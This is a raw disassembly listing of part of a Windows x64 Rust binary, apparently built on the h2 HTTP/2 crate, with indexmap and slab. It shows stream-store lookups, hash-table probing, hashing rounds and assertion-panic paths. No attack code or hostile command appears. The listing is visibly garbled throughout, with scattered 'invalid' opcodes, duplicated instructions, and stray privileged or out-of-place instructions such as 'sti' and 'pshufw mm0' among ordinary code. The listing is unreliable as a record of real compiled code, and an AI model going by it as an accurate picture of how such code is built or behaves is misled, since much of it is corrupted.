lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x38]
call fcn.140108560
lea rcx, str.assertion_failed:__id.is_zero__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcprotopeer.rs
lea r8, [0x140128f10]
mov edx, 0x1f
call fcn.140108630
add byte [rbp + rcx*4 + 5], cl
cmp eax, 0xba001097
invalid
lea rcx, str.assertion_failed:_self.num_send_streams___0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streamscounts.rsassertion_failed:_self.can_inc_num_recv_streams__
mov edx, 0x2b
add byte [rax], al
add al, ch
invalid
mov cs, word [rsi]
invalid
add byte [rax], al
add al, ch
cmp ecx, dword [rsi - 0x72b7fff2]
or eax, 0x109934
lea rcx, str.assertion_failed:_self.num_recv_streams___0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streamscounts.rsassertion_failed:_self.can_inc_num_recv_streams__
mov edx, 0x2b
call fcn.140108630
lea rcx, str.assertion_failed:_self.num_local_reset_streams___0
lea ecx, str.assertion_failed:_self.num_local_reset_streams___0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streamscounts.rsassertion_failed:_self.can_inc_num_recv_streams__
mov edx, 0x32
call fcn.140108630
int3
int3
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rsi, qword [rcx + 0x38]
test rsi, rsi
je 0x14001fb84
mov edi, edx
mov rbx, qword [rcx + 0x30]
xor byte [rax - 0x7d], cl
inc byte [rcx]
xor byte [rax - 0x7d], cl
inc byte [rcx]
jne 0x14001f903
cmp dword [rbx + 8], edi
jne 0x14001fb84
mov qword [rcx + 0x38], 0
mov r8, qword [rbx]
add ecx, dword [rax - 0x75]
mov rdx, qword [rcx + 0x48]
add ecx, dword [rax - 0x75]
mov rdx, qword [rcx + 0x48]
mov r9, rdx
and r9, r8
shr r8, 0x39
movd xmm0, r8d
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r10d, r10d
pcmpeqd xmm1, xmm1
movdqu xmm2, xmmword [rax + r9]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r11d, xmm3
nop dword [rax]
test r11w, r11w
je 0x14001f8e1
tzcnt r8d, r11d
lea esi, [r11 - 1]
and esi, r11d
add r8, r9
and r8, rdx
shl r8, 3
mov r11, rax
sub r11, r8
cmp qword [r11 - 8], 0
mov r11d, esi
jne 0x14001f8b0
jmp 0x14001fa10
pcmpeqb xmm2, xmm1
pmovmskb r8d, xmm2
test r8d, r8d
jne 0x14001fb84
add r9, r10
add r9, 0x10
add r10, 0x10
and r9, rdx
jmp 0x14001f899
mov rax, qword [rcx + 0x60]
mov rdx, qword [rcx + 0x68]
mov r14, rcx
mov rcx, rax
mov r8d, edi
call fcn.14001fef0
mov r9, r14
mov rdx, qword [r14 + 0x40]
mov r8, qword [r14 + 0x48]
mov r11, r8
and r11, rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufw mm0, mm0, 0
pshufw mm0, mm0, 0
pshufd xmm0, xmm0, 0
xor r14d, r14d
pcmpeqd xmm1, xmm1
movdqu xmm2, xmmword [rdx + r11]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r15d, xmm3
sti
sti
nop word [rax + rax]
test r15w, r15w
je 0x14001f9b0
tzcnt eax, r15d
add rax, r11
and rax, r8
lea r10, [rax*8]
mov rcx, rdx
sub rcx, r10
mov rcx, qword [rcx - 8]
cmp rsi, rcx
jbe 0x14001fb91
lea ebp, [r15 - 1]
and ebp, r15d
shl rcx, 4
mov r15d, ebp
cmp dword [rbx + rcx + 8], edi
jne 0x14001f960
jmp 0x14001f9d3
pcmpeqb xmm2, xmm1
pmovmskb eax, xmm2
test eax, eax
jne 0x14001fb84
add r11, r14
add r11, 0x10
add r14, 0x10
and r11, r8
jmp 0x14001f947
sar r10, 3
lea rcx, [r10 - 0x10]
and rcx, r8
movdqu xmm0, xmmword [rdx + rcx]
pcmpeqd xmm1, xmm1
pcmpeqb xmm0, xmm1
psllw xmm0, 7
pmovmskb edi, xmm0
movdqu xmm0, xmmword [rdx + r10]
pcmpeqb xmm0, xmm1
pmovmskb r11d, xmm0
test edi, edi
je 0x14001fa58
bsr di, di
xor edi, 0xf
jmp 0x14001fa5c
sar r8, 3
lea r9, [r8 - 0x10]
and r9, rdx
movdqu xmm0, xmmword [rax + r9]
pcmpeqd xmm1, xmm1
pcmpeqb xmm0, xmm1
psllw xmm0, 7
pmovmskb r10d, xmm0
movdqu xmm0, xmmword [rax + r8]
pcmpeqb xmm0, xmm1
pmovmskb edx, xmm0
test r10d, r10d
je 0x14001fb56
bsr r10w, r10w
xor r10d, 0xf
jmp 0x14001fb5b
mov di, 0x10
neg rax
or r11d, 0x10000
tzcnt r11d, r11d
add edi, r11d
mov r11b, 0x80
cmp di, 0xf
ja 0x14001fa7e
inc qword [r9 + 0x50]
mov r11b, 0xff
mov byte [rdx + r10], r11b
mov byte [rdx + rcx + 0x10], r11b
dec qword [r9 + 0x58]
mov rcx, qword [rdx + rax*8 - 8]
cmp rsi, rcx
jbe 0x14001fba0
mov rax, rcx
shl rax, 4
dec rsi
mov r10, rsi
shl r10, 4
movups xmm0, xmmword [rbx + r10]
movups xmmword [rbx + rax], xmm0
mov qword [r9 + 0x38], rsi
cmp rsi, rcx
jbe 0x14001fb84
add rbx, rax
mov rax, qword [rbx]
mov r9, rax
shr r9, 0x39
movd xmm0, r9d
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r9d, r9d
and rax, r8
movdqu xmm2, xmmword [rdx + rax]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r11d, xmm3
nop dword [rax + rax]
test r11w, r11w
je 0x14001fb31
tzcnt r10d, r11d
lea edi, [r11 - 1]
and edi, r11d
add r10, rax
and r10, r8
lea r11, [r10*8]
mov rbx, rdx
sub rbx, r11
mov r11d, edi
cmp qword [rbx - 8], rsi
jne 0x14001fb00
jmp 0x14001fb4c
pcmpeqb xmm2, xmm1
pmovmskb r10d, xmm2
test r10d, r10d
jne 0x14001fbaf
add rax, r9
add rax, 0x10
add r9, 0x10
jmp 0x14001fae3
neg r10
mov qword [rdx + r10*8 - 8], rcx
jmp 0x14001fb84
mov r10w, 0x10
or edx, 0x10000
tzcnt edx, edx
add r10d, edx
mov dl, 0x80
cmp r10w, 0xf
ja 0x14001fb77
inc qword [rcx + 0x50]
mov dl, 0xff
mov byte [rax + r8], dl
mov byte [rax + r9 + 0x10], dl
dec qword [rcx + 0x58]
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_2.2.5_srcmapcore.rs
mov rdx, rsi
call fcn.1401085b0
lea r8, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_alloc_src_vecmod.rs
mov rdx, rsi
call fcn.140108380
lea rcx, str.index_not_found
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_2.2.5_srcmapcore.rs
mov edx, 0xf
call fcn.140108990
int3
pop rsi
cdq
adc byte [rax], al
lea rcx, [rsp + 0x38]
call fcn.140108560
int3
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x278
mov r14, qword [rcx]
mov r15d, dword [rcx + 8]
cmp qword [r14 + 0x10], r15
jbe 0x14001fddd
mov rsi, rcx
imul r12, r15, 0x130
mov r13, qword [r14 + 8]
mov rbp, qword [r14 + 0x20]
mov rbx, qword [r13 + r12]
lea rdi, [r12 + r13]
add rdi, 8
lea rcx, [rsp + 0x150]
invalid
lea ecx, [rsp + 0x150]
mov r8d, 0x128
mov rdx, rdi
call fcn.140106530
mov qword [r13 + r12], 2
mov qword [r13 + r12 + 8], rbp
cmp rbx, 2
je 0x14001fdc7
dec qword [r14 + 0x18]
mov qword [r14 + 0x20], r15
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x150]
mov r8d, 0x128
call fcn.140106530
mov qword [rsp + 0x20], rbx
mov eax, dword [rsp + 0x134]
cmp eax, dword [rsi + 0xc]
jne 0x14001fdf5
movzx eax, byte [rsp + 0x70]
lea ecx, [rax - 6]
cmp cl, 6
jb 0x14001fd82
lea ecx, [rax - 3]
cmp cl, 2
ja 0x14001fd30
invalid
cmp cl, 1
jne 0x14001fd82
movzx eax, al
test eax, eax
je 0x14001fd82
cmp eax, 1
jne 0x14001fd5e
lea rcx, [rsp + 0x90]
mov rax, qword [rsp + 0x78]
js 0x14001fd92
mov edx, dword [rsp + 0x80]
mov r8, qword [rsp + 0x88]
call qword [rax + 0x10]
jmp 0x14001fd82
mov rax, qword [rsp + 0x78]
shl rax, 1
test rax, rax
je 0x14001fd82
invalid
mov r8, qword [rsp + 0x80]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
xor eax, 0x8b48000f
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rax], al
test rax, rax
je 0x14001fd9a
invalid
invalid
mov word [rax + rdi*4], fs
mov rax, qword [rsp + 0xb0]
test rax, rax
je 0x14001fd9a
mov rcx, qword [rsp + 0xb8]
call qword [rax + 0x18]
add byte [rax], al
add bh, bh
push rax
sbb byte [rax - 0x75], cl
test byte [rax + rcx*8], ah
add byte [rax], al
mov rax, qword [rsp + 0xc8]
test rax, rax
je 0x14001fdb2
add byte [rax - 0x7b], cl
sal byte [rbx + rcx + 0x48], 0x8b
mov word [rax + rdx*8], fs
add byte [rax], al
add bh, bh
push rax
sbb byte [rax + 0x78c48148], dl
add al, byte [rax]
add byte [rbx + 0x5d], bl
mov rcx, qword [rsp + 0xd0]
call qword [rax + 0x18]
nop
add rsp, 0x278
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rdx, [rsp + 0x150]
mov r8d, 0x128
mov rcx, rdi
call fcn.140106530
lea rcx, str.invalid_keyC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_slab_0.4.9_srclib.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
xchg edi, eax
adc byte [rax], al
mov edx, 0xb
call fcn.140108990
mov qword [rsp + 0x150], 0
lea rcx, [rsp + 0x134]
add rsi, 0xc
lea r8, [rsp + 0x150]
mov rdx, rsi
call fcn.140108cb0
int3
lea rdx, [0x14014e078]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x14001fede
test al, al
setne al
add rsp, 0x40
pop rsi
ret
xor r9, rdx
movabs r10, 0x6c7967656e657261
xor r10, rcx
movabs r11, 0x7465646279746573
xor r11, rdx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], r10
mov qword [rsp + 0x40], r9
mov qword [rsp + 0x48], r11
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rdx
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
mov dword [rsp + 0x2c], r8d
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x2c]
and al, 0x2c
and al, 0x2c
mov r8d, 4
call fcn.140007050
mov rcx, qword [rsp + 0x40]
mov r9, qword [rsp + 0x60]
shl r9, 0x38
or r9, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x48]
push rsp
and al, 0x48
push rsp
and al, 0x48
mov rax, qword [rsp + 0x30]
add rax, rcx
rol rcx, 0xd
xor rdx, r9
xor rcx, rax
rol rax, 0x20
mov r8, qword [rsp + 0x38]
add r8, rdx
rol rdx, 0x10
xor rdx, r8
add rax, rdx
rol rdx, 0x15
add r8, rcx
rol rcx, 0x11
xor rdx, rax
xor rcx, r8
rol r8, 0x20
xor rax, r9
add rax, rcx
rol rcx, 0xd
xor rcx, rax
rol rax, 0x20
xor r8, 0xff
add r8, rdx
rol rdx, 0x10
xor rdx, r8
add rax, rdx
rol rdx, 0x15
add r8, rcx
rol rcx, 0x11
rol ecx, 0x11
rol ecx, 0x11
xor rcx, r8
rol r8, 0x20
xor rdx, rax
add rax, rcx
rol rcx, 0xd
xor rcx, rax
rol rax, 0x20
add r8, rdx
rol rdx, 0x10
xor rdx, r8
add rax, rdx
rol rdx, 0x15
add r8, rcx
rol rcx, 0x11
xor rcx, r8
rol r8, 0x20
xor rdx, rax
add rax, rcx
rol rcx, 0xd
add r8, rdx
rol rdx, 0x10
xor rdx, r8
rol rdx, 0x15
xor rcx, rax
add r8, rcx
rol rcx, 0x11
mov rax, r8
rol rax, 0x20
xor rax, rcx
xor rax, rdx
xor rax, r8
add rsp, 0x78
ret
int3
imul ebp, dword [rbx + 0x15], 0
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
add cl, ch
sub byte [rcx], al
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401422b8]
mov r8d, 0xe
jmp 0x1400201e0
add rsp, 0x48
pop rdi
pop rsi
jmp rax
cmp byte [r8 + 0x51], 0
je 0x140021096
mov qword [rsp + 0x60], rdi
mov dword [rsp + 0x68], edx
mov dword [rsp + 0x6c], ecx
cmp dword [r8 + 0x48], 0x3b9aca00
setne bpl
mov rcx, rbx
mov rdx, r14
call fcn.140021220
mov rcx, rsi
mov rdx, r14
mov r8d, ebp
call fcn.14001f580
mov eax, dword [rbx + 4]
test eax, eax
jle 0x1400210a9
cmp dword [rbx + 0x24], 0
je 0x1400210a9
mov edx, dword [rbx + 0x28]
mov ecx, dword [rbx + 0x2c]
cmp edx, dword [rbx + 0x30]
jne 0x140020f90
cmp ecx, dword [rbx + 0x34]
jne 0x140020f90
mov dword [rsp + 0x20], edx
mov dword [rsp + 0x24], ecx
mov r8, qword [rdi + 0x10]
cmp r8, rdx
jbe 0x1400211a3
mov r9, qword [rdi + 8]
imul r10, rdx, 0x130
cmp dword [r9 + r10], 2
je 0x1400211a3
add r9, r10
cmp dword [r9 + 0x114], ecx
jne 0x1400211a3
cmp dword [r9 + 0xc4], 0
jne 0x140021205
mov dword [rbx + 0x24], 0
jmp 0x140020ff9
mov dword [rsp + 0x20], edx
mov dword [rsp + 0x24], ecx
cmp qword [rdi + 0x10], rdx
jbe 0x14002114d
mov r8, qword [rdi + 8]
imul r9, rdx, 0x130
cmp dword [r8 + r9], 2
je 0x14002114d
add r8, r9
cmp dword [r8 + 0x114], ecx
jne 0x14002114d
movsd xmm0, qword [r8 + 0xc8]
cmp dword [r8 + 0xc4], 0
mov dword [r8 + 0xc4], 0
je 0x1400211f9
mov dword [rbx + 0x24], 1
movlps qword [rbx + 0x28], xmm0
mov r8, qword [rdi + 0x10]
mov dword [rsp + 0x20], edx
mov dword [rsp + 0x24], ecx
cmp r8, rdx
jbe 0x14002114d
mov r8, qword [rdi + 8]
imul r9, rdx, 0x130
cmp dword [r8 + r9], 2
je 0x14002114d
add r8, r9
cmp dword [r8 + 0x114], ecx
jne 0x14002114d
mov byte [r8 + 0x122], 0
mov dword [rsp + 0x20], edx
mov dword [rsp + 0x24], ecx
cmp qword [rdi + 0x10], rdx
jbe 0x1400211a3
mov r8, qword [rdi + 8]
cmp dword [r8 + r9], 2
je 0x1400211a3
add r8, r9
cmp dword [r8 + 0x114], ecx
jne 0x1400211a3
movzx r9d, byte [r8 + 0x50]
add r9b, 0xfa
movzx r9d, r9b
cmp r9b, 6
cmovae r9d, r12d
cmp r9b, 3
je 0x140020ed0
movzx r9d, r9b
cmp r9d, 5
je 0x140020ed0
cmp qword [r8 + 0x88], 0
jne 0x140020edb
jmp 0x140020f10
mov r8, qword [rsp + 0x38]
cmp r8, 2
je 0x14002113a
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
test r8, r8
je 0x1400210de
mov r8, qword [rax + 0x10]
dec r8
dec eax
dec eax
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rsp + 0x38]
cmp r8, 2
je 0x14002113a
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
test r8, r8
je case.0x14001a3ad.650
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
invalid
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x40]
lock dec qword [rax]
jne 0x14002113a
invalid
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
call fcn.140004950
jmp 0x14002113a
call qword [rax + 0x80]
nop
add rsp, 0x90
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
mov qword [rsp + 0x28], r15
lea rax, [0x14001b1f0]
mov qword [rsp + 0x30], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
mov qword [rsp + 0x80], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x60]
call fcn.140108560
mov qword [rsp + 0x28], r15
lea rax, [0x14001b1f0]
mov qword [rsp + 0x30], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
mov qword [rsp + 0x80], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x60]
call fcn.140108560
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
call fcn.140108970
lea rcx, str.assertion_failed:_N::next_stream_.is_none__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
ficom dword [rcx]
add byte [rdx + 0x2c], bh
ficom dword [rcx]
add byte [rdx + 0x2c], bh
call fcn.140108630
int3
pop rsp
and al, 0x30
mov dword [rsp + 0x34], esi
mov r9, qword [rdi + 0x10]
cmp r9, rbx
jbe 0x1400215d8
mov r8, qword [rdi + 8]
imul r14, rbx, 0x130
cmp dword [r8 + r14], 2
je 0x1400215d8
add r8, r14
cmp dword [r8 + 0x114], esi
jne 0x1400215d8
invalid
add byte [rcx - 0x75], al
sbb byte [rax], 1
add byte [rax], al
mov eax, dword [r8 + 0x118]
mov r10d, dword [r8 + 0x80]
mov r11d, dword [r8 + 0x84]
xor ebp, ebp
test r11d, r11d
cmovle r11d, ebp
sub eax, r11d
test r10d, r10d
cmovg ebp, r10d
sub ebp, r11d
sub ebp, ebx
sub ebp, ebx
cmp eax, ebp
cmovb ebp, eax
mov qword [rsp + 0x70], 2
mov qword [rsp + 0x90], 0
test ebp, ebp
je 0x14002158d
mov r15d, dword [rcx + 4]
test r15d, r15d
jle 0x140021397
cmp r15d, ebp
cmovb ebp, r15d
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x2c], esi
cmp dword [r8], 2
je 0x140021630
cmp dword [r8 + 0x114], esi
jne 0x140021630
mov rax, qword [rcx + 8]
mov r11d, dword [r8 + 0x84]
mov r10, qword [r8 + 0x88]
xor r9d, r9d
test r11d, r11d
mov r13d, 0
cmovg r13d, r11d
cmp r13, rax
cmovae r13, rax
sub r13, r10
mov r12d, 0
cmovae r12, r13
add r11d, ebp
jo 0x14002138c
mov dword [r8 + 0x84], r11d
test r11d, r11d
cmovle r11d, r9d
cmp r11, rax
cmovb rax, r11
sub rax, r10
cmovae r9, rax
cmp r12, r9
jae 0x14002138c
mov byte [r8 + 0x123], 1
mov r9, qword [r8 + 0x90]
mov rax, qword [r8 + 0x98]
mov qword [r8 + 0x90], 0
test r9, r9
je 0x14002138c
mov r12, rcx
mov rcx, rax
mov r13, rdx
call qword [r9 + 8]
mov rcx, r12
mov rdx, r13
sub r15d, ebp
mov dword [rcx + 4], r15d
mov r9, qword [rdi + 0x10]
mov dword [rsp + 0x28], ebx
lea rax, [rsp + 0x2c]
mov dword [rsp + 0x2c], esi
cmp r9, rbx
jbe 0x1400215a2
mov r8, qword [rdi + 8]
cmp dword [r8 + r14], 2
je 0x1400215a2
add r8, r14
cmp dword [r8 + 0x114], esi
jne 0x1400215a2
mov r9d, dword [r8 + 0x84]
test r9d, r9d
js 0x1400213e5
cmp r9d, dword [r8 + 0x118]
jae 0x140021495
mov r10d, dword [r8 + 0x80]
test r10d, r10d
js 0x140021495
cmp r10d, r9d
jle 0x140021495
cmp byte [r8 + 0x122], 0
jne 0x140021495
mov byte [r8 + 0x122], 1
cmp dword [rcx + 0x24], 0
je 0x14002147e
mov r10d, dword [rcx + 0x30]
mov r8d, dword [rcx + 0x34]
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x2c], r8d
cmp qword [rdi + 0x10], r10
jbe 0x140021635
mov r9, qword [rdi + 8]
imul r10, r10, 0x130
cmp dword [r9 + r10], 2
je 0x140021635
add r9, r10
cmp dword [r9 + 0x114], r8d
jne 0x140021635
lea r8, [rcx + 0x34]
mov dword [r9 + 0xc4], 1
mov dword [r9 + 0xc8], ebx
mov dword [r9 + 0xcc], esi
mov dword [rcx + 0x30], ebx
jmp 0x140021492
mov dword [rcx + 0x24], 1
mov dword [rcx + 0x28], ebx
mov dword [rcx + 0x2c], esi
mov dword [rcx + 0x30], ebx
lea r8, [rcx + 0x34]
mov dword [r8], esi
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x2c], esi
cmp qword [rdi + 0x10], rbx
jbe 0x1400215a2
mov r8, qword [rdi + 8]
cmp dword [r8 + r14], 2
je 0x1400215a2
add r8, r14
cmp dword [r8 + 0x114], esi
jne 0x1400215a2
cmp qword [r8 + 0x88], 0
je 0x1400214ed
cmp byte [r8 + 0x124], 0
jne 0x1400214ed
cmp byte [r8 + 0x125], 0
jne 0x1400214ed
add rcx, 0x10
call fcn.1400a4900
mov r8, qword [rsp + 0x70]
cmp r8, 2
je 0x14002158d
lea rdx, [rsp + 0x88]
mov rcx, qword [rsp + 0x78]
mov rax, qword [rsp + 0x80]
test r8, r8
je 0x140021528
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rsp + 0x70]
cmp r8, 2
je 0x14002158d
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x78]
mov rax, qword [rsp + 0x80]
test r8, r8
je 0x140021587
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x78]
lock dec qword [rax]
jne 0x14002158d
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x80]
call fcn.140004950
jmp 0x14002158d
call qword [rax + 0x80]
nop
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x30], rax
lea rax, [0x14001b1f0]
mov qword [rsp + 0x38], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
jmp 0x140021611
lea rax, [rsp + 0x34]
mov qword [rsp + 0x70], rax
lea rax, [0x14001b1f0]
mov qword [rsp + 0x78], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
call fcn.140108560
lea rax, [rsp + 0x2c]
mov qword [rsp + 0x30], rax
lea rax, [0x14001b1f0]
mov qword [rsp + 0x38], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x60
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
call fcn.140108560
int3
outsb dx, byte [rsi]
invalid
adc byte [rdx], al
je 0x1400216f0
add rax, r10
cmp dword [rax + 0x114], edx
jne 0x1400216f0
mov edx, dword [rax + 0x84]
test edx, edx
jle 0x1400216ea
mov dword [rax + 0x84], 0
add rsp, 0x68
jmp fcn.140020e70
invalid
nop
add rsp, 0x68
ret
lea rax, [rsp + 0x24]
mov qword [rsp + 0x28], rax
lea rax, [0x14001b1f0]
mov qword [rsp + 0x30], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
and al, 0x48
mov qword [rsp + 0x50], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x38]
call fcn.140108560
int3
and al, 0x48
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
call fcn.140108560
call fcn.140108560
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
call fcn.140108970
lea rcx, str.assertion_failed:_N::next_stream_.is_none__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
mov edx, 0x2c
call fcn.140108630
int3
in al, dx
sub byte [rbx + 0xf00307a], al
test dword [rax + rax - 0x74b80000], ebp
and al, 0x50
cmp byte [rax + 0x58], 0
je 0x140021956
invalid
or eax, 0x1c0f641
test r8b, 1
je case.0x14001e24d.96
test r9b, r9b
jne 0x140021969
jmp case.0x14001e24d.96
test r9b, r9b
jne case.0x14001e24d.96
test r8d, r8d
test eax, eax
je case.0x14001e24d.96
mov r9d, r8d
and r9d, 1
jne case.0x14001e24d.96
cmp dword [rdx + 0x28], 0
jne case.0x14001e24d.96
cmp dword [rdx + 0x2c], r8d
jbe 0x1400219a0
mov word [rcx], 0x101
mov dword [rcx + 4], 1
lea rax, [0x1401167f0]
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], 1
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
add rsp, 0x28
ret
lea r9d, [r8 + 2]
mov r10d, r9d
shr r10d, 0x1f
mov dword [rdx + 0x28], r10d
sub byte [rcx + rcx*4 + 0x4a], al
sub al, 0x4c
mov ecx, dword [rax + 0x20]
sub byte [rcx + rcx*4 + 0x4a], al
sub al, 0x4c
mov ecx, dword [rax + 0x20]
cmp r9, qword [rax + 0x28]
jbe 0x1400219d0
mov dword [rcx + 4], 1
mov dword [rcx + 8], r8d
mov byte [rcx], 3
add rsp, 0x28
ret
mov dword [rdx + 0x30], 1
mov dword [rdx + 0x34], r8d
mov dword [rdx + 0x34], eax
mov dword [rdx + 0x34], eax
mov dword [rcx + 4], 0
mov byte [rcx], 3
add byte [rax], al
add dh, al
add dword [rbx], eax
add rsp, 0x28
ret
sbb al, 0xe
add byte [rax - 0x77], cl
invalid
invalid
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
and al, 0x40
add dword [rax], eax
add byte [rax], al
and al, 0x40
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x68]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x38]
call fcn.140108560
lea rcx, [0x140129680]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_stream.rsassertion_failed:_self.ref_count___usize::MAX
mov edx, 0x2d
call fcn.140108630
ud2
je 0x14002729e
add rcx, r13
cmp dword [rcx + 0x114], ebp
jne 0x14002729e
lea rdi, [rsi + 0x1c8]
cmp qword [rcx + 0x78], 0
je 0x140026f6d
mov byte [rsp + 0x2f], r14b
mov qword [rsp + 0xa0], rbx
